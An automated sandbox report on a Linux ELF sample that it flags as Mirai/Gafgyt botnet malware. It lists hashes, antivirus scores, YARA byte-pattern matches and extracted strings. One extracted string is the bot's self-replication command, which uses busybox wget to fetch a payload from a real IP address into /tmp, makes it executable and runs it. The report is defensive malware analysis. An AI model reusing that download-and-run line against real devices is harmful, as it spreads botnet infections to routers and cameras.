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Linux Analysis Report
Federalx86Agent.elf

Overview

General Information

Sample name:Federalx86Agent.elf
Analysis ID:1642446
MD5:022ef84c697951a38f9e74307459a16b
SHA1:cc6f42e865d5b8bd40b25bfa72f233697250e047
SHA256:cb74de70fed42a5c09b3134fd795774fc799f71f7f603f752224eeadb5b42537
Tags:elfMiraiuser-abuse_ch
Infos:

Detection

Mirai
Score:72
Range:0 - 100

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Yara signature match

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Joe Sandbox version:42.0.0 Malachite
Analysis ID:1642446
Start date and time:2025-03-19 03:33:51 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 27s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:Federalx86Agent.elf
Detection:MAL
Classification:mal72.troj.linELF@0/0@2/0
Command:/tmp/Federalx86Agent.elf
PID:5476
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:
  • system is lnxubuntu20
  • Federalx86Agent.elf (PID: 5476, Parent: 5398, MD5: 022ef84c697951a38f9e74307459a16b) Arguments: /tmp/Federalx86Agent.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
Federalx86Agent.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
    Federalx86Agent.elfLinux_Trojan_Gafgyt_28a2fe0cunknownunknown
    • 0xff80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0xff94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0xffa8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0xffbc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0xffd0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0xffe4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0xfff8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x1000c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x10020:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x10034:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x10048:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x1005c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x10070:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x10084:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x10098:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x100ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x100c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x100d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x100e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x100fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x10110:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    Federalx86Agent.elfLinux_Trojan_Gafgyt_9e9530a7unknownunknown
    • 0xc9e8:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
    Federalx86Agent.elfLinux_Trojan_Gafgyt_807911a2unknownunknown
    • 0xd1d7:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
    Federalx86Agent.elfLinux_Trojan_Gafgyt_d4227dbfunknownunknown
    • 0xa71a:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
    • 0xa828:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
    Click to see the 9 entries
    SourceRuleDescriptionAuthorStrings
    5476.1.0000000000400000.0000000000414000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      5476.1.0000000000400000.0000000000414000.r-x.sdmpLinux_Trojan_Gafgyt_28a2fe0cunknownunknown
      • 0xff80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0xff94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0xffa8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0xffbc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0xffd0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0xffe4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0xfff8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x1000c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x10020:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x10034:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x10048:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x1005c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x10070:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x10084:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x10098:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x100ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x100c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x100d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x100e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x100fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x10110:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      5476.1.0000000000400000.0000000000414000.r-x.sdmpLinux_Trojan_Gafgyt_9e9530a7unknownunknown
      • 0xc9e8:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
      5476.1.0000000000400000.0000000000414000.r-x.sdmpLinux_Trojan_Gafgyt_807911a2unknownunknown
      • 0xd1d7:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
      5476.1.0000000000400000.0000000000414000.r-x.sdmpLinux_Trojan_Gafgyt_d4227dbfunknownunknown
      • 0xa71a:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
      • 0xa828:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
      Click to see the 11 entries
      No Suricata rule has matched

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: Federalx86Agent.elfAvira: detected
      Source: Federalx86Agent.elfVirustotal: Detection: 61%Perma Link
      Source: Federalx86Agent.elfReversingLabs: Detection: 58%
      Source: /tmp/Federalx86Agent.elf (PID: 5476)Socket: 192.168.2.13:9473Jump to behavior
      Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com

      System Summary

      barindex
      Source: Federalx86Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
      Source: Federalx86Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
      Source: Federalx86Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
      Source: Federalx86Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
      Source: Federalx86Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
      Source: Federalx86Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
      Source: Federalx86Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_0cd591cd Author: unknown
      Source: Federalx86Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
      Source: Federalx86Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_a33a8363 Author: unknown
      Source: Federalx86Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
      Source: Federalx86Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_6a77af0f Author: unknown
      Source: Federalx86Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
      Source: Federalx86Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
      Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
      Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
      Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
      Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
      Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
      Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
      Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_0cd591cd Author: unknown
      Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
      Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_a33a8363 Author: unknown
      Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
      Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_6a77af0f Author: unknown
      Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
      Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
      Source: Process Memory Space: Federalx86Agent.elf PID: 5476, type: MEMORYSTRMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
      Source: Initial sampleString containing 'busybox' found: $(/bin/busybox wget -g 213.209.129.92 -l /tmp/monke -r /u; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke selfrep.router)
      Source: Initial sampleString containing 'busybox' found: $(/bin/busybox wget -g 213.209.129.92 -l /tmp/monke -r /u; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke selfrep.router)%04X/proc/opendir..self902i13BzSxLxBxeYHOHO-LUGO7HOHO-U79OLJuYfouyf87NiGGeR69xdSO190Ij1XLOLKIKEEEDDEekjheory98escansh4MDMAfdevalvexscanspcMELTEDNINJAREALZflexsonskidsscanx86MISAKI-U79OLfoAxi102kxeswodjwodjwojMmKiy7f87lfreecookiex86sysgpufrgegesysupdater0DnAzepdNiGGeRD0nks69frgreu0x766f6964NiGGeRd0nks1337gafturasgbsigboa120i3UI49OaF3geaevaiolmao123123aOfurain0n4H34DggTrexewwasads1293194hjXDOthLaLosnggtwget-log1337SoraLOADERSAIAKINAggtq1378bfp919GRB1Q2SAIAKUSOggtr14FaSEXSLAVE1337ggtt1902a3u912u3u4haetrghbr19ju3dSORAojkf120hehahejeje922U2JDJA901F91SlaVLav12helpmedaddthhhhh2wgg9qphbqSlav3Th3seD3viceshzSmYZjYMQ5GbfsoraSoRAxD123LOLiaGv5aA3SoRAxD420LOLinsomni640277SoraBeReppin1337ipcamCache66tlGg9QjUYfouyf876ke3TOKYO3lyEeaXul2dULCVxh93OfjHZ2zTY2gD6MZvKc7KU6rmMkiy6f87lA023UU4U24UIUTheWeekndmioribitchesA5p9TheWeekndsmnblkjpoiAbAdTokyosnebAkiruU8inTznetstatsAlexW9RCAKM20TnewnetwordAyo215WordnloadsWo
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: Federalx86Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
      Source: Federalx86Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
      Source: Federalx86Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
      Source: Federalx86Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
      Source: Federalx86Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
      Source: Federalx86Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
      Source: Federalx86Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_0cd591cd os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b, id = 0cd591cd-c348-4c3a-a895-2063cf892cda, last_modified = 2021-09-16
      Source: Federalx86Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
      Source: Federalx86Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_a33a8363 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08, id = a33a8363-5511-4fe1-a0d8-75156b9ccfc7, last_modified = 2021-09-16
      Source: Federalx86Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
      Source: Federalx86Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_6a77af0f os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 4e436f509e7e732e3d0326bcbdde555bba0653213ddf31b43cfdfbe16abb0016, id = 6a77af0f-31fa-4793-82aa-10b065ba1ec0, last_modified = 2021-09-16
      Source: Federalx86Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
      Source: Federalx86Agent.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
      Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
      Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
      Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
      Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
      Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
      Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
      Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_0cd591cd os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b, id = 0cd591cd-c348-4c3a-a895-2063cf892cda, last_modified = 2021-09-16
      Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
      Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_a33a8363 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08, id = a33a8363-5511-4fe1-a0d8-75156b9ccfc7, last_modified = 2021-09-16
      Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
      Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_6a77af0f os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 4e436f509e7e732e3d0326bcbdde555bba0653213ddf31b43cfdfbe16abb0016, id = 6a77af0f-31fa-4793-82aa-10b065ba1ec0, last_modified = 2021-09-16
      Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
      Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
      Source: Process Memory Space: Federalx86Agent.elf PID: 5476, type: MEMORYSTRMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
      Source: classification engineClassification label: mal72.troj.linELF@0/0@2/0

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: Federalx86Agent.elf, type: SAMPLE
      Source: Yara matchFile source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY
      Source: Yara matchFile source: Process Memory Space: Federalx86Agent.elf PID: 5476, type: MEMORYSTR

      Remote Access Functionality

      barindex
